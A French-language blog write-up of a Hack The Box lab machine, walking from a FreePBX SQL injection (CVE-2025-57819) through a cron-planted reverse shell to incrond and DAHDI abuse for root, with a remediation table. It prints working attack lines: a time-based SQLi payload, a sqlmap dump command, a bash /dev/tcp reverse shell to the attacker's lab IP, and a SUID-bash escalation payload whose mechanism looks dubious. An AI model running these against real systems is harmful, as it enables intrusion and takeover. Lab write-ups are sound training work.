Retour au blog
#HTB#SQLi#FreePBX#CVE-2025-57819#Privesc#Linux#Write-up

HTB Connected — SQLi sur FreePBX jusqu'à l'accès root (CVE-2025-57819)

LLLEBONI BAKLA Lionel•📅 22 juin 2026• ⏱️ 14 min

Connected — Hack The Box (Enterprise / Meetup Yaoundé, juin 2026) Difficulté : Hard • Tags : VoIP, FreePBX, SQLi, Cron, incrond, DAHDI

Chaîne d’attaque complète

FreePBX exposé → SQLi (CVE-2025-57819) → creds admin
   → module vulnérable → RCE via Cron
   → abus du démon incrond → empoisonnement DAHDI → root

Énumération initiale

nmap -sV -sC -p- 10.10.11.x

Ports intéressants :

  • 22 — SSH
  • 80 — HTTP (FreePBX)
  • 443 — HTTPS

FreePBX, c’est l’interface web d’administration d’Asterisk, le célèbre PBX open-source. Une cible classique en VoIP.

Accès — CVE-2025-57819 (SQLi FreePBX)

Une recherche rapide sur FreePBX + SQLi remonte la CVE-2025-57819, une injection SQL non-authentiquée sur un endpoint spécifique.

Démonstration du concept

# Endpoint vulnérable
curl "http://10.10.11.x/admin/config.php?display=users&ID=1"

Le paramètre ID est injectable. On confirme avec un time-based :

1 AND (SELECT SLEEP(5) FROM dual)

→ Réponse en 5 secondes. SQLi confirmée.

Dump avec sqlmap

sqlmap -u "http://10.10.11.x/admin/config.php?display=users&ID=1" \
  --dbms=mysql --dump --batch

On récupère les identifiants de l’administrateur FreePBX. On se connecte à l’interface d’admin.

RCE via Cron

Une fois admin FreePBX, plusieurs modules permettent l’exécution de commandes. Le vecteur retenu : un module qui planifie des tâches via cron.

On injecte notre payload dans un champ qui finit dans /etc/cron.d/ :

# Reverse shell planifié
* * * * * root bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'
# Listener
nc -lvnp 4444

Une minute plus tard — shell en tant qu’utilisateur asterisk. ✅

Élévation — Abus du démon incrond

incrond (inotify cron) est un service qui exécute des commandes quand des événements filesystem se produisent. Sur la machine, il tourne en root et surveille un répertoire accessible en écriture.

On regarde les règles :

cat /etc/incron.d/*

Une règle déclenche un script à chaque modification d’un fichier *.cfg. On a le droit d’écriture sur le répertoire surveillé.

# On crée/modifie le fichier pour déclencher l'exécution
echo "trigger" > /opt/asterisk/configs/trigger.cfg

Le script déclenché est exploitable — mais il est read-only. On a besoin d’un autre vecteur.

Empoisonnement DAHDI — root définitif

DAHDI (Digium Asterisk Hardware Device Interface) est le pilote matériel d’Asterisk. Il charge sa configuration depuis un fichier spécifique, et cette configuration peut exécuter des commandes dans certains contextes.

On découvre que /etc/dahdi/modules est inclus par un process root et qu’on peut injecter via la chaîne incrond → DAHDI :

  1. On déclenche incrond en écrivant dans le répertoire surveillé
  2. Le script enfant lit un fichier DAHDI qu’on contrôle
  3. Ce fichier est interprété par le process root → on obtient l’exécution en root
# Payload DAHDI final
echo 'root:$(chmod u+s /bin/bash)' >> /etc/dahdi/modules
# Trigger via incrond
touch /opt/asterisk/configs/trigger.cfg
sleep 2
/bin/bash -p
whoami  # root

Shell root. 🎯

Remédiation

Vecteur Correction
SQLi non-auth (CVE-2025-57819) Patch immédiat — upgrade FreePBX
Cron écrivable Permissions strictes sur /etc/cron.d/
incrond en root Privilèges minimaux, surveiller des dossiers read-only
DAHDI configurable Permissions root-only sur /etc/dahdi/
VoIP exposée Filtrer les ports, ne jamais exposer l’admin publiquement

Leçons apprises

  1. Les PBX sont des cibles under-rated. Peu d’auditeurs pensent à tester FreePBX, Asterisk, 3CX — pourtant les CVE s’accumulent.
  2. Les démons “système” en root sont dangereux. incrond, daemontools, supervisord… tous peuvent devenir des vecteurs de privesc s’ils lisent des fichiers modifiables.
  3. Chaines d’attaque = patience. Ici, 4 étapes distinctes. Chacune seule ne suffit pas — c’est l’enchaînement qui fait root.

Conclusion

Machine difficile mais géniale pédagogiquement. Elle montre comment une seule vulnérabilité d’entrée (la SQLi) peut, sur une machine mal durcie, mener jusqu’à root via une chaîne de quatre abus successifs.

“Trouver la porte d’entrée, c’est bien. L’ouvrir jusqu’au trône, c’est mieux.”

À propos de l'auteur

LEBONI BAKLA Lionel — Ingénieur en Cybersécurité & IA Appliquée. Ethical Hacker • Bug Hunter • DevSecOps Junior • FullStack Developer.